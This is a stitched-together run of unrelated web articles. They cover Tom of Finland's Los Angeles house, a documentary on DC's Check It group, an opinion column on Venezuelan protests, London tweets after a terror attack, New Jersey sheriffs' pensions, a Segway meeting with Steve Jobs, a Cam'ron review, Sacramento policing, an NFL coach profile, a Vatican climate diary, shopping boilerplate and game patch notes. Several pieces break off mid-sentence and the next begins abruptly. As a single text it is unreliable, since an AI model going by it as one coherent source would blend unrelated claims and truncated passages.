Since 1979, the owner of the home has been Durk Dehner, who recently submitted an application to the city's Cultural Heritage Commission asking it to name the home a historic cultural monument in light of its connection with the artist and important role in the LGBT movement. The commission is considering the nomination now and will soon tour the home.
Born Touko Laaksonen, Tom of Finland was, in fact, from Finland and lived there for most of his life. He picked up his famous pseudonym in the 1950s, when he began submitting illustrations for Physique Pictorial, a fitness magazine appealing to gay men in a time when strict censorship laws prevented the sale of outright pornography. Over time, as these laws were phased out, Laaksonen's work became more sexually explicit, and demand for his work created a thriving market for pirated copies and reproductions. Today, his signature renderings of leather-clad bikers and police officers appear on everything from dinner plates to bed sheets, and have given the artist a strong cult following.
Dehner began corresponding with Laaksonen in the mid-1970s. In 1978, Dehner invited Laaksonen to the United States, helping him to get his work displayed in art galleries around LA and San Francisco. Two years later, they became business partners, founding the Tom of Finland Company which still handles the publishing and licensing of the artist’s work. Following the death of his longtime partner in 1981, the house at Laveta Terrace became a home away from home for Laaksonen, as he began spending an increasing amount of time in Los Angeles.
Today, the small room he occupied in the attic of the home remains much the way he left it when he departed for Finland for the last time in 1989. A collection of leather jackets are hung neatly in the corner, along with a few sport coats, vests, and a uniform from Laaksonen’s days as a lieutenant in the Finnish army.
"This is sort of a cheesy thing," says SR Sharp, vice president of the Tom of Finland Foundation, as he removes a checkered blazer from its hanger. "Tom bought this jacket for his first trip to America." He opens up the blazer to reveal the label. "You can see he bought it in the senior section of Stockmann’s." Today, the Finnish department store carries merchandise branded with Tom of Finland artwork.
By most accounts, Laaksonen’s time in Los Angeles was a hugely important for him. As he began interacting regularly with other artists and influential members of the gay community, the house became a gathering point that over the years has attracted notable personalities, including Robert Maplethorpe and John Waters.
The strong gay culture Los Angeles also provided a contrast to what Sharp refers to as the "benign persecution" that Laaksonen often experienced in Finland.
"In LA, Tom could be Tom of Finland 100 percent of the time," he said.
Laaksonen died in 1991, but the house continues to serve as a cultural center and informal museum. Tours can be scheduled in advance, and artist residences, awards, and events (including an annual Art & Culture Festival being held this year October 1 and 2) are coordinated by the Tom of Finland Foundation.
Separate from the corporation, the foundation was founded in 1984 with the goal of preserving and archiving Laaksonen’s work. The focus quickly shifted to erotic art in general—largely because of the AIDS epidemic, which was then ravaging the gay community. "It got to be every day you’d get a call," Sharp says. "Hey, did you hear about so and so?"
HIV-infected artists began reaching out to Dehner and Laaksonen about preserving their work. At the same time, some victims of the disease were leaving behind vast collections of erotic art that most often ended up in a garbage heap. Occasionally, the foundation would get a call first.
"People would call after their partner died, or their friend died, and ask, ‘do you want this stuff?" Sharp said.
That’s actually how he himself became involved with the foundation. After the death of a friend, he found himself in the position of divvying up his belongings. Though he was able to find a home for most items, he was at a loss over what to do with several works of sexually explicit art until someone recommended he contact the foundation. He soon became one of a network of volunteers helping to collect and archive what is now the world’s largest repository of erotic art.
"Sometimes people would call and say, ‘The parents are going to be here in an hour. Can you be here before then?’" Sharp said. "It was the ‘80s. No one wanted to think about the difference between art and pornography... a lot of what we did was protecting the sensibilities of parents."
It’s safe to say the sensibilities of such parents would be pretty well assaulted by a trip to the Tom House as it exists today. The interior of the home is an ecstatic and uncontained celebration of male anatomy. Depictions of penises are literally everywhere in the Tom House. They appear in paintings and photographs and coffee table books. They are sketched on walls and sculpted and embroidered into pillows. In the upstairs bathroom, a porcelain penis fountain drips water at haphazard intervals.
But, of course, anatomy isn’t |
provide each other with a sense of community in a place where being gay can get you ostracized from your family, your church, and your classmates.
"They're not the Bloods or the Crips by any stretch of the imagination, but law enforcement calls them a gang," Flor, who co-directed with filmmaker Toby Oppenheimer, says. "They call themselves a family."
Unlike other gangs, the Check It aren't tied to a specific geographic location. They hang out at each others' houses, mostly, as well as a local Denny's and the Chinatown and Gallery Place Metro stations. And they didn't have to do much to spread their name. A local go-go band called ReAction wrote a song about the gang and name-checked individual members. That meant people like Warren had a certain amount of notoriety, which allowed him to go to pretty much any neighborhood in DC without people giving him much trouble for being, as he and his friends put it, "faggie."
Flor and Oppenheimer's documentary, which is currently crowdfunding its final stages of editing, follows Warren and some of his friends at a crucial point in their lives. After getting a grant for a fashion start-up, they're invited to a design bootcamp and eventually get a chance to work on a show at Men's Fashion Week in New York.
Today, Warren is no longer a part of the Check It. He's about to finish the Job Corps program, and the process of filming the documentary helped him learn to trust strangers and learn that there's more to the world than his neighborhood. Opening up to the camera was hard at first, because he was afraid of how the world would judge him. Now he wants to become an actor, and hopes his fame will someday transcend the notoriety he's created for himself in the black neighborhoods of DC.
"There's more to the world than just Check It," he says. "But no matter where I go in DC, my name will always be Tray [from] Check It. That name will come behind my name forever."
Follow Allie Conti on Twitter.The current protests in Venezuela are reminiscent of another historical moment when street protests were used by right-wing politicians as part of an attempt to overthrow the elected government. From December of 2002 through February 2003, there was strike of mostly white-collar workers at the national oil industry, along with some business owners. The US media made it look like most of the country was on strike against the government, when, in fact, it was less than one percent of the labor force.
The spread of cell phone videos and social media in the past decade has made it more difficult to misrepresent things that can be easily captured on camera. But Venezuela is still grossly distorted in the major media. The New York Times had to run a correction last week for an article that began with a statement about "The only television station that regularly broadcast voices critical of the government …" As it turns out, all of the private TV stations "regularly broadcast voices critical of the government". And private media has more than 90% of the TV-viewing audience in Venezuela. A study by the Carter Center of the presidential election campaign period last April showed a 57 to 34% advantage in TV coverage for President Maduro over challenger Henrique Capriles in the April election, but that advantage is greatly reduced or eliminated when audience shares are taken into account.
Although there are abuses of power and problems with the rule of law in Venezuela – as there are throughout the hemisphere – it is far from the authoritarian state that most consumers of western media are led to believe. Opposition leaders currently aim to topple the democratically elected government – their stated goal – by portraying it as a repressive dictatorship that is cracking down on peaceful protest. This is a standard "regime change" strategy, which often includes violent demonstrations in order to provoke state violence.
The latest official numbers have eight confirmed deaths of opposition protesters, but no evidence that these were a result of efforts by the government to crush dissent. At least two pro-government people have also been killed, and two people on motorcycles were killed (one beheaded) by wires allegedly set up by protesters. Eleven of the 55 people currently detained for alleged crimes during protests are security officers.
Of course violence from either side is deplorable, and detained protesters – including their leader, Leopoldo López – should be released on bail unless there is legal and justifiable cause for pre-trial detention. But it is difficult to argue from the evidence that the government is trying to suppress peaceful protest.
From 1999-2003, the Venezuelan opposition had a strategy of "military takeover", according to Teodoro Petkoff (pdf), a leading opposition journalist who edits the daily Tal Cual. This included the military coup of April 2002 and the oil and business owners strike from December 2002 - February 2003, which crippled the economy. Although the opposition eventually opted for an electoral route to power, it was not the kind of process that one sees in most democracies, where opposition parties accept the legitimacy of the elected government and seek to co-operate on at least some common goals.
One of the most important forces that has encouraged this extreme polarization has been the US government. It is true that other left governments that have implemented progressive economic changes have also been politically polarized: Bolivia, Ecuador, and Argentina for example. And there have been violent right-wing destabilization efforts in Bolivia and Ecuador. But Washington has been more committed to "regime change" in Venezuela than anywhere else in South America – not surprisingly, given that it is sitting on the largest oil reserves in the world. And that has always given opposition politicians a strong incentive to not work within the democratic system.
Venezuela is not Ukraine, where opposition leaders could be seen publicly collaborating with US officials in their efforts to topple the government, and pay no obvious price for it. Of course, US support has helped Venezuela's opposition with funding: one can find about $90m in US funding to Venezuela since 2000, just looking through US government documents available on the web, including $5m in the current federal budget (pdf). Pressure for opposition unity and tactical and strategic advice also helps: Washington has decades of experience overthrowing governments, and this is a specialized knowledge that you can't learn in graduate school. Even more important is its enormous influence on international media and therefore public opinion.
When John Kerry reversed his position in April and recognized the Venezuelan election results, that spelled the end of the opposition's campaign for non-recognition. But the opposition leadership's closeness to the US government is also a liability in a country that was the first to lead South America's "second independence" that began with the election of Hugo Chávez in 1998. In a country like Ukraine, political leaders could always point to Russia (and more so now) as a threat to national independence; attempts by Venezuelan opposition leaders to portray Cuba as a threat to Venezuelan sovereignty are laughable. It is only the United States that threatens Venezuela's independence, as Washington fights to regain control over a region that it has lost.
Eleven years since the oil strike, the dividing lines in 2002 have not changed all that much. There is the obvious class divide, and there is still noticeable difference in skin color between opposition (whiter) and pro-government crowds – not surprising in a country and region where income and race are often highly correlated.
In the leadership, one side is part of a regional anti-imperialist alliance; the other has Washington as an ally. And yes, there is a big difference between the two leaderships in their respect for hard-won electoral democracy, as the current struggle illustrates. For Latin America, it is a classic divide between left and right.
Opposition leader Henrique Capriles tried to bridge this divide with a makeover, morphing from his prior right-wing incarnation into Venezuela's Lula in his presidential campaigns, praising Chávez's social programs and promising to expand them. But he has gone back and forth on respect for elections and democracy, and – outflanked by the extreme right (Leopoldo López and María Corina Machado), last week refused offers of dialogue by the president. At the end of the day, they are all far too rich, elitist, and right wing (think of Mitt Romney and his contempt for the 47%) for a country that has repeatedly voted for candidates running on a platform of socialism.
Back in 2003, because it did not control the oil industry, the government had not yet delivered much on its promises. A decade later, poverty and unemployment have been reduced by more than half, extreme poverty by more than 70%, and millions have pensions that they did not have before. Most Venezuelans are not about to throw all this away because they have had a year and a half of high inflation and increasing shortages. In 2012, according to the World Bank, poverty fell by 20% – the largest decline in the Americas. The recent problems have not gone on long enough for most people to give up on a government that has raised their living standards more than any other government in decades.This article is over 1 year old
Londoners use social media to show the world that they are unbowed and certainly not reeling in wake of killings
Often, during times of upsetting national news, British social media finds some bleak humour or common theme to rally around. The hours after Saturday night’s attack on London Bridge and Borough Market have been no exception.
Scottieboy (@merseytart) Woman on CNN talking about London's streets being eerily quiet. Mate, it's Sunday. They're not cowering in fear, they're having a lie in.
⭐fervor w measure⭐ (@setalyas) "London should not be cowed" mate the Chicken Cottage by Borough station is already open stop worrying
The nation is not for reeling
One headline in particular provoked British ire, from the New York Times, which stated that “Terrorist attacks in the heart of London leave 6 dead in a nation still reeling”
Robert Harris (@Robert___Harris) This sort of hyped-up headline does the terrorists' job for them. UK isn't "reeling" @nytimes pic.twitter.com/KKesMHHIFY
For a start, the word ‘reeling’ has a very different and meaning distinctive to the British Isles, with the ‘reel’ being a common folk dance in both Scotland and Ireland.
Julia Macfarlane (@juliamacfarlane) Yes NYT, we are still reeling. #eightsomereel #keepcalmcarryon pic.twitter.com/DpXIUsk80l
Mary Branscombe (@marypcbuk) If London is reeling it means there must be an Irish dance festival in Trafalgar square again ;) 💃
Graeme Plunkett (@gplunkett58) Reeling: a form of dancing. We dance on, unbowed and with customary sangfroid.
Other social media users just showed the New York Times that they were getting on with their day, and that London, targeted many times by terrorists over the years, was keeping calm and carrying on.
Sarah Churchwell (@sarahchurchwell) View of London from the South. No one in this beautiful old city is #reeling. pic.twitter.com/DMFJTHnEtT
Jill Twin (@JustJillyDilly) been for a bike ride, now preparing Sunday lunch #reeling wheeling and peeling
Marcus Milburn (@omen121) Going to IKEA for meatballs and maybe a rug. #reeling
As one person put it
Jojo Moyes (@jojomoyes) Nothing makes Brits more resolutely determined to 'get on with things' than hysterical commentators trying to suggest we're reeling.
Here’s what actually makes the British reel
As with the #BritishThreatLevels hashtag after the Manchester Arena bombing, social media conversation soon moved on to what really does make the British reel
Jerknalist (@Prince_Albert37) People pronouncing it scone, when it is actually pronounced scone. #ThingsThatLeaveBritainReeling
Craig. (@ContrarianCraig) Knowing you're walking in the wrong direction & having to tut & check your watch/phone before changing course #ThingsThatLeaveBritainReeling
Charles Rothwell (@charlierothers) Toasters that aren't big enough to fit in the whole slice of toast. What is the point? #ThingsThatLeaveBritainReeling pic.twitter.com/qj8OsaI2B1
Kirsty (@MissHartx3) The price hike over this little chap 🐸 #ThingsThatLeaveBritainReeling pic.twitter.com/e8hpH8wffW
Sarah Crook (@SarahRoseCrook) Not catching someone's name and having to spend the next three decades avoiding introducing them to anyone #ThingsThatLeaveBritainReeling
Caroline Hills (@CazG1) Bake Off being sold to C4 #ThingsThatLeaveBritainReeling
Emily Rose✨ (@emilyrosehip) When people make tea in the microwave #ThingsThatLeaveBritainReeling pic.twitter.com/M8006Sq8mr
The real no go zones of London
A common trope in overseas commentary of Britain from the right has been that there are so-called “no go zones” in cities, due to apparent radicalisation of the local community. Twitter spent some time today discussing the real no go zones of London.
Stephanie Boland (@stephanieboland) Love this. Only time Borough Market is a no-gone zone is Thursday evening after work, when you can't move for the suits spilling out of pubs https://t.co/BuqHBfJScl
Stephanie Boland (@stephanieboland) Actual places Londoners are reluctant to enter:
Covent Garden street performer hell
Madam Tussauds
Breakfast club queue
Changing at Bank
stefanie marsh (@MarshStefanie) Angus Steakhouse Leicester Square
Lara O'Reilly (@larakiara) Ripley's Believe it or Not
Clapham High Street after 9pm on a Saturday
Primack Oxford Street
And finally there were those just laughing about some of the consequences of the attack not quite having the intended effect.
Ben Hammersley (@benhammersley) Trying to bring about Sharia by causing a lock-in at the Vauxhall Tavern. Uh-huh.
A pint of London Pride
Meanwhile, a man who was pictured holding tightly to a half-full pint glass of beer as he fled the London Bridge attack has become an unlikely hero.
Howard Mannella (@hmannella) People fleeing #LondonBridge but the bloke on the right isn't spilling a drop. God Bless the Brits! pic.twitter.com/ceeaH0XxeX
His actions prompted a twinge of pride in Londoners, who identified with the desire to hang on to a pint at all costs.All nine of the county sheriffs in New Jersey who collect a pension on top of their six-figure salary won re-election last week.
A report from New Jersey Watchdog reveals that 17 of the state's 21 sheriffs are what the website calls, "double-dippers."
Eight of the 17 are Democrats and nine are Republicans. Voters in Bergen, Hunterdon, Middlesex, Morris, Passaic, Somerset, Sussex, Union and Warren counties gave their sheriffs who already collection pensions another term in office.
Ocean's new sheriff will also be getting two paychecks when Toms River police chief Michael Mastronardy takes the reigns.
Mastronardy defeated Democrat George “Bob” Armstrong earlier this month and will replace Acting Sheriff William Sommeling, who has been serving in that role since the death of William Polhemus. Sommeling also pockets a pension on top of his paycheck.
Mastronardy will be paid an annual pension of $149,100 when he steps down as chief. He'll also get $189,553 in unused sick time and $48,372 in unused vacation time for a total of $237,925. The sheriff position will pay a minimum of $109,000.
The highest-paid sheriff in New Jersey is Bergen's Michael Saudino, who is paid $138,000 on top of his $129,984 pension. Saudino is the former police chief in Emerson.
The only four sheriffs not on the New Jersey Watchdog list of double-dippers are:
• Frank Balles, Atlantic
• Shaun Golden, Monmouth
• Frank Schillari, Hudson
• Jean E. Stanfield, Burlington
RELATED COVERAGE
• 17 of 21 N.J. sheriffs collect a pension on top of 6-figure salary, report says
• Toms River police chief in line to get $237K payout, report saysPhoto Credit: dfarber
Steve Kemper, journalist and author of Code Name Ginger: The Story Behind Segway, was given permission to attend a 2001 behind-the-scenes meeting organized to garner feedback from Silicon Valley's finest. The pitch was given by Tim Adams, and in attendance were Segway inventor Dean Kamen, Amazon CEO Jeff Bezos, Apple CEO Steve Jobs, John Doerr, a well known VC at Kleiner Perkins, Segway's VP of Marketing Mike Ferry and Segway's Governmental Affairs Chief Brian Toohey.
In the following few excerpts from the book, Kemper describes the discussions that took place during the meeting. There are few interesting takeaways here about how Jobs works during meetings:
If you want me to leave, I will, but I can't just sit here!
Mike Ferry, Brian Toohey and Tim Adams had each put together PowerPoint presentations about the product. Tim called these presos "another dog and pony show." It's interesting to see how the typical "we pitch, you sit quietly and ask questions after," did not fly with Jobs:
"Good morning to everyone," said Tim, smiling at the front of the table. "Before we start, we'd like to ask you to hold your questions until after each presentation."
"Yeah, right!" snorted Bezos, followed by that honking laugh.
"Otherwise we might as well not be here," said Jobs.
"How long is your presentation?" asked Doerr. "Each pitch is about ten minutes."
"I can't do that," said Jobs. "I'm not built that way. So if you want me to leave, I will, but I can't just sit here."
It's worth noting that most of us can relate to Jobs' reasoning here; we all want to interact and participate in a conversation, not just sit back as someone pitches something.
There were notes scribbled on the palm of his hand
It's clear that Jobs fully invests himself into the meetings he attends. He thinks through the point of the meeting and the outcome of the conversation, and loves to use past product successes and failures as examples. When the conversation shifted toward the introduction of two Segway models to the market, Jobs used the iMac as an example:
Tim studied Jobs for a moment, then turned to the screen and put up a spec sheet about Metro and Pro. "As you can see'" began Tim.
"Let's talk about the bigger question," interrupted Jobs. "Why two machines?"
"We've talked about that," said Tim, "and we think'"
'Because I see a big problem here,' said Jobs. 'I was thinking about it all night. I couldn't sleep after Dean came over.' There were notes scribbled on the palm of his hand. He explained his experience with the iMac, how there were four models now but he had launched with just one color to give his designers, salespeople, and the public an absolute focus. He had waited seven months to introduce the other models.
What do you think about Segway's design? I think it sucks!
As we all know, Jobs is quite frank when it comes to voicing his opinion. It's a pleasure to hear him refer back to his three design mantras as he explains why he believes the Segway's design simply sucks:
'What does everyone think about the design?' asked Doerr, switching subjects'
'I think it sucks!' said Jobs.
His vehemence made Tim pause. 'Why?' he asked, a bit stiffly.
'It just does.'
'In what sense?' said Tim, getting his feet back under him. 'Give me a clue.'
'Its shape is not innovative, it's not elegant, it doesn't feel anthropomorphic,' said Jobs, ticking off three of his design mantras.
'You have this incredibly innovative machine but it looks very traditional.' The last word delivered like a stab''There are design firms out there that could come up with things we've never thought of,' Jobs continued, 'things that would make you shit in your pants.'
I understand the appeal of a slow burn, but personally I'm a big-bang guy.
We all know that Jobs is a risk taker. As the conversation shifted to the strategy of introducing Segway to the market, Jobs disagreed with Bezos. In the passage below, you can see Jobs' belief that a small (less risky) launch in foreign country will bring more bad than good:
Bezos suggested starting slow, using one city or country as an experimental station. The perfect place to begin, thought Bezos, was Singapore. "You only have to convince one guy, the philosopher king, and then you have four million people to test it."
But Jobs was still shaking his head at Bezos's suggestion. Because of the Internet, he said, slow was no longer possible. People would learn about Ginger in a flash of bits and bytes, and would want one now. So a small launch in a foreign place was foolish, because if the machine was unavailable in the United States, the company would blow its chance for $100 million of free publicity in its biggest market.
"If you show this to Hennessy," Jobs said to Doerr, referring to John L. Hennessy, president of Stanford University and a world-class engineer, "he'll shit in his pants." Evidently Hennessy did that more readily than Jobs did. "And if you offer to give him a hundred of them if he'll run a safety study and a usage study, that's a done deal in ten minutes," continued Jobs. "You do that at ten colleges and maybe at Disney, so people can see them but not buy them."
"I understand the appeal of a slow burn," he concluded, "but personally I'm a big-bang guy." For the first time that day he smiled. "The risk with a fast burn," he continued, "is that it exposes you to your enemies. You're going to need a lot of money to fight thieves."
Thanks to Steve Kemper for posting a detailed excerpt from his book on the Harvard Business School Blog. You can check out and buy the entire book on Amazon.Check out my review of Cam’s latest street film, down bottom.
Artistically I never really expect much from Cam’ron in terms of nutritional value, which is neither an insult or negative criticism. Instead, Killa Cam gives me – a rather decent-living, youngish black male who was raised predominantly on the right side of the law – his at times hilariously off-kilter depiction of an urban jungle deeply rooted in drug-dealing, gun-ridden violence and the many other colorful aspects of the Harlem hustler lifestyle, something I’ve never and will never live. In short, Cam’ron is Uptown’s cult leader, a legendary cultural influencer in Harlem, and is essentially the closest thing today’s rap climate has to a modern day version of Rudy Ray Moore’s Dolemite.
Earlier tonight I, alongside some of my compatriots, were invited to attend a screening of his upcoming web series, First Of The Month, which will debut – you guessed it! – every first of the month beginning in December. For someone who has willingly sat through all of Cam’s post-Paid In Full works and has gleefully laughed at every exaggerated shootout, rolled my eyes at each filth-ridden sex scene, and watched in utter confusion at the events that would unfold in front of my eyes, I instantly jumped at the chance to catch his new viral series, and in essence got what I (didn’t) pay for.
You have to understand how wonderfully sinister it is for Cam’ron to have held a screening of his latest hood masterpiece in somewhere as esteemed as the TriBeCa Cinemas, for starters, to even attempt to get a grasp of how his mad mind works (hint: you never will). After being treated to some “nutritious, delicious,” slightly stale and over-salted popcorn and other condiments at the concession stand I and a small group of people packed into the screening room and watched the opening “episode” of Cam’s new web series, which follows Cam settling into a “Real Husband of Hollywood”-esque lifestyle with his real-life main squeeze JuJu, while his associate Cousin Bang loathes Cam falling back on the hustle game and refusal to allow him to take over the “family business,” subsequently and secretly plotting to take it over by force. Without going into detail (I’d rather not spoil it for you), the short (literally; the first episode runs about 20 minutes) film features a small tribute to Huddy 6 (who passed in a tragic car accident three years ago), a tween who is violently reminiscent of Li’l Zé from the 2002 film City Of God, and a colorful cast of characters such as “Man Killed By Snake,” “Man Killed In Warehouse” and “Man Shot In Back.” Oh, and you’ll never quite look at Ronald McDonald the same either.
Photo courtesy of Mikey Fresh
First Of The Month is exactly what you expect from Cam’ron: there’s no moral code, there’s nary a conscious revelation, and you’re not going to find any semblance of romance in a crude sex scene. That’s exactly how Killa likes it, however, and that’s why his equally polarizing and captivating aura has and will continue to survive with no foreseeable expiration date.
Oh, and of course with every Killa post comes a Killa.gif…
KILLA!The Sacramento Police Department is deploying more than 30 additional officers to Oak Park this Fourth of July weekend after a spate of violence spurred City Hall to demand more enforcement in the neighborhood.
Violent crime is up slightly in Oak Park this year, mirroring a citywide trend. There have been four homicides there this year, including the shooting death of a 19-year-old man on Wednesday night. Last weekend, a pregnant woman was shot less than a half-mile from Wednesday’s homicide; her labor was induced and both she and her baby are expected to survive.
Police Department spokesman Sgt. Bryce Heinlein said it does not appear those shootings – or two separate homicides in recent weeks – are related.
Mayor Darrell Steinberg met with neighborhood pastors before leading a walk through the area Friday night with faith leaders, school board members and other community leaders. A barbecue is scheduled for Sunday at McClatchy Park and the neighborhood community center will be open for extended hours through the weekend.
Sign Up and Save Get six months of free digital access to The Sacramento Bee
“We are going all-in to engage, support and protect the Oak Park community,” Steinberg said. “Oak Park has come way too far to turn back. There is too much pride, too much progress and too much community that’s been built in a positive way to allow all of that progress to go back.”
About 100 Oak Park residents joined the mayor, pastors and other community leaders on the march through the neighborhood. Marchers carried signs reading “Stop the Violence” and knocked on doors to try and ease the fears of neighbors troubled by recent incidents.
“We are out here with one agenda, to stop the gun violence,” said the Rev. Anthony Sadler of Shiloh Baptist Church, where the marchers met before heading out into the neighborhood.
Tamika L’Ecluse, the vice president of the Oak Park Neighborhood Association, said, “The community is rattled. I think people are more aware and more alert.”
Asked if she thought neighbors would rally to stop the violence, she responded, “We always do.”
Police officials said enough police would be left to patrol the rest of the city, even though the Sacramento Police Department is among the most understaffed big city law enforcement agencies in the state. The officers being assigned to Oak Park are from specialty units such as SWAT and the gang enforcement unit.
“Obviously we’d always love to have more officers and our officers are spread thin,” Heinlein said. “But we’re going to dedicate our officers where they are needed most at the time.”
Heinlein said the surge in Oak Park – along with a boost in staffing in the central city – won’t impact the patrol presence in other parts of the city. Councilman Steve Hansen on Tuesday requested more officers in the central city in response to what he has described as an increase in crime.
Steinberg said “the rest of the city is fully protected.”
“We wouldn’t (add officers to Oak Park) if we couldn’t ensure complete coverage in the rest of the city,” he said.
The department spokesman said officers who had not been scheduled to work this weekend will be assigned to Oak Park.
While recent budget decisions by the City Council have added some officers to the department’s ranks, the agency’s staffing level is still far below what it was before the recession. The department has 671 officers today; its staffing peaked at 804 cops in 2007.
The department has about 1.3 officers per 1,000 residents. Of the 10 largest cities in California, only San Jose, Anaheim and Bakersfield have fewer officers per 1,000 residents, according to data compiled by the FBI.
Much of South Oak Park is in the unincorporated area of Sacramento County and patrolled by the Sacramento County Sheriff’s Department. That agency is also increasing its presence in the area.
“We have been and will continue to add resources in the way of specialized teams to saturate the area and are aware of the issues,” said Sgt. Tony Turnbull, the sheriff’s spokesman. “We ask the community to assist in reporting crimes or suspicious activity.”Around The League will profile the top 40 players (or, in this case, coaches) we see Making the Leap in 2013. No. 32 on the list: Oakland Raiders coach Dennis Allen.
Why Allen is on the list
When Around the League's gang of scribes huddled to come up with our 40 candidates for "Making the Leap," our choice for the Oakland Raiders took an unusual turn.
Harrison: Coaches on the hot seat What have you done for me lately? Elliot Harrison identifies six coaches who will enter the 2013 season in tenuous situations.
What have you done for me lately?identifies six coaches who will enter the 2013 season in tenuous situations. More...
I suggested coach Dennis Allen instead of one of his players, but at least one of my co-writers wasn't buying it.
"If they win six games, I'll eat my softball pants," Chris Wesseling declared.
That sealed it, and my ambivalence toward the Raiders has given way to grand visions of Wess at a quaint tabletop, his freshly laundered sporting garments spread before him and accompanied by fork, knife and maybe a healthy dabble of Grey Poupon.
Trouser cuisine aside, Allen's here for a reason: Despite strong backing from general manager Reggie McKenzie, Allen's leadership is under the microscope on a Raiders team that will struggle to improve upon last year's 4-12 mark. It's unrealistic to expect better results from this year's paper-thin roster, but good coaching will go a long way toward fostering buy-in from Allen's young players.
If he isn't up to the task, Allen's second season in Oakland could morph into one of the NFL's biggest train wrecks.
Obstacles
It's easy to pick on the Raiders, but McKenzie walked into a ghastly scenario when he took the job 18 months ago. Short on draft picks and mired in salary-cap hell, the well-respected GM has worked tirelessly to revive this struggling, behind-the-times organization from the inside out. It's a painful process that still continues.
The challenges are everywhere. There's no clear-cut franchise quarterback, and the team's best player on offense, Darren McFadden, is a sometimes-dangerous runner who can't stay healthy. On defense, McKenzie used his first-ever first-round draft pick on D.J. Hayden. The Raiders are thrilled with the cornerback's potential, but few teams in the AFC have more issues in the front seven.
Allen's pedigree is defensive wizardry, but the Raiders might have the AFC's worst unit in 2013. Until more talent arrives, Allen will struggle to put his stamp on this group the way he did with the Denver Broncos' D in 2011. The win-loss record could be ugly, so it's important for Allen to win the public-perception battle, making his vision clear for everyone from owner Mark Davis down to the 8-year-old Raiders fan wondering when Sundays will be fun again.
2013 expectations
Our very own Elliot Harrison put Allen on his list of hot-seat coaches heading into the season. Elliot's argument -- that Allen's presumed loose leash doesn't mean much if Oakland crumbles -- is sound. I tend to believe Allen can save his job if he emerges as the primary voice of this organization. Sink or swim, he can't be a wallflower in Year 2.
If Allen sometimes lies awake at night, wishing he never left Denver, who could blame him? This might be the NFL's toughest head-coaching job of all in 2013, but it's also an opportunity for Allen to prove that Oakland -- missing many parts -- has a leader to hold onto.
Follow Marc Sessler on Twitter @MarcSesslerNFL.JUNE 29TH—PACKING
When I was first asked to speak at a Vatican press conference on Pope Francis’s recently published climate-change encyclical, “Laudato Si’,” I was convinced that the invitation would soon be rescinded. Now the press conference and, after it, a two-day symposium to explore the encyclical is just two days away. This is actually happening. As usual ahead of stressful trips, I displace all of my anxiety onto wardrobe. The forecast for Rome in the first week of July is punishingly hot, up to ninety-five degrees Fahrenheit. Women visiting the Vatican are supposed to dress modestly, no exposed legs or upper arms. Long, loose cottons are the obvious choice, the only problem being that I have a deep-seated sartorial aversion to anything with the whiff of hippie. Surely the Vatican press room has air-conditioning. Then again, “Laudato Si’ ” makes a point of singling it out as one of many “harmful habits of consumption which, rather than decreasing, appear to be growing all the more.” Will the powers that be make a point of ditching the climate control just for this press conference? Or will they keep it on and embrace contradiction, as I am doing by supporting the Pope’s bold writings on how responding to the climate crisis requires deep changes to our growth-driven economic model—while disagreeing with him about a whole lot else? To remind myself why this is worth all the trouble, I reread a few passages from the encyclical. In addition to laying out the reality of climate change, it spends considerable time exploring how the culture of late capitalism makes it uniquely difficult to address, or even focus upon, this civilizational challenge. “Nature is filled with words of love,” Francis writes, “but how can we listen to them amid constant noise, interminable and nerve-wracking distractions, or the cult of appearances?” I glance shamefully around at the strewn contents of my closet. (Look: some of us don’t get to wear the same white getup everywhere…) JULY 1ST—THE F-WORD
Four of us are scheduled to speak at the Vatican press conference, including one of the chairs of the United Nations’ Intergovernmental Panel on Climate Change. All except me are Catholic. In his introduction, Father Federico Lombardi, the director of the Holy See press office, describes me as a “secular Jewish feminist”—a term I used in my prepared remarks but never expected him to repeat. Everything else Father Lombardi says is in Italian, but these three words are spoken slowly and in English, as if to emphasize their foreignness. The first question directed my way is from Rosie Scammell, with the Religion News Service: “I was wondering how you would respond to Catholics who are concerned by your involvement here, and other people who don’t agree with certain Catholic teachings?” This is a reference to the fact that some traditionalists have been griping about all the heathens, including United Nations Secretary-General Ban Ki-moon and a roster of climate scientists, who were spotted inside these ancient walls in the run-up to the encyclical’s publication. The fear is that discussion of planetary overburden will lead to a weakening of the Church’s position on birth control and abortion. As the editor of a popular Italian Catholic Web site put it recently, “The road the church is heading down is precisely this: To quietly approve population control while talking about something else.” I respond that I am not here to broker a merger between the secular climate movement and the Vatican. However, if Pope Francis is correct that responding to climate change requires fundamental changes to our economic model—and I think he is correct—then it will take an extraordinarily broad-based movement to demand those changes, one capable of navigating political disagreements. After the press conference, a journalist from the U.S. tells me that she has “been covering the Vatican for twenty years, and I never thought I would hear the word ‘feminist’ from that stage.” The air-conditioning, for the record, was left on.
The British and Dutch ambassadors to the Holy See host a dinner for the conference’s organizers and speakers. Over wine and grilled salmon, discussion turns to the political ramifications of the Pope’s trip to the United States this September. One of the guests most preoccupied with this subject is from an influential American Catholic organization. “The Holy Father isn’t making it easy for us by going to Cuba first,” he says. I ask him how spreading the message of “Laudato Si’ ” is going back home. “The timing was bad,” he says. “It came out around the same time as the Supreme Court ruling on gay marriage, and that kind of sucked all the oxygen out of the room.” That’s certainly true. Many U.S. bishops welcomed the encyclical—but not with anything like the Catholic firepower expended to denounce the Supreme Court decision a week later. The contrast is a vivid reminder of just how far Pope Francis has to go in realizing his vision of a Church that spends less time condemning people over abortion, contraception, and who they marry, and more time fighting for the trampled victims of a highly unequal and unjust economic system. When climate justice had to fight for airtime with denunciations of gay marriage, it didn’t stand a chance. On the way back to the hotel, looking up at the illuminated columns and dome of St. Peter's Basilica, it |
eligible for our promo codes or other discounts.
For questions pertaining to this deal, click the Ask a Question button below. For post-purchase inquiries, please contact Groupon customer support. Goods sold by Groupon Goods. View the Groupon Goods FAQ to learn more.
To ensure the quality of reviews, all reviews are screened for spam and content that may be offensive to other people.
Please Sign In or Sign Up to rate or vote
By purchasing this deal you'll unlock points which can be spent on discounts and rewards. Every 5,000 points can be redeemed for $5 Off your next purchase.UPDATE : Challenger Ahri will be on
This afternoon's red post collection is HUGE and includes: a small Poppy buff pushed to live, January's champ & skin sale schedule, a reminder Diana will be receiving a FIRE themed skin due to TEAM FIRE's win at ALL-STAR 2015, a dev blog on the new animations in Poppy's update, concept art for this year's Snowdown skins, introductory posts for Meddler and Pwyff, and much more! will be on sale for 50% off on 12/17 and 12/18! This afternoon's red post collection is HUGE and includes: a smallbuff pushed to live, January's champ & skin sale schedule, a reminderwill be receiving a FIRE themed skin due to TEAM FIRE's win at ALL-STAR 2015, a dev blog on the new animations inupdate, concept art for this year'sskins, introductory posts forand, and much more!
Table of Contents
December 14th Patch Update
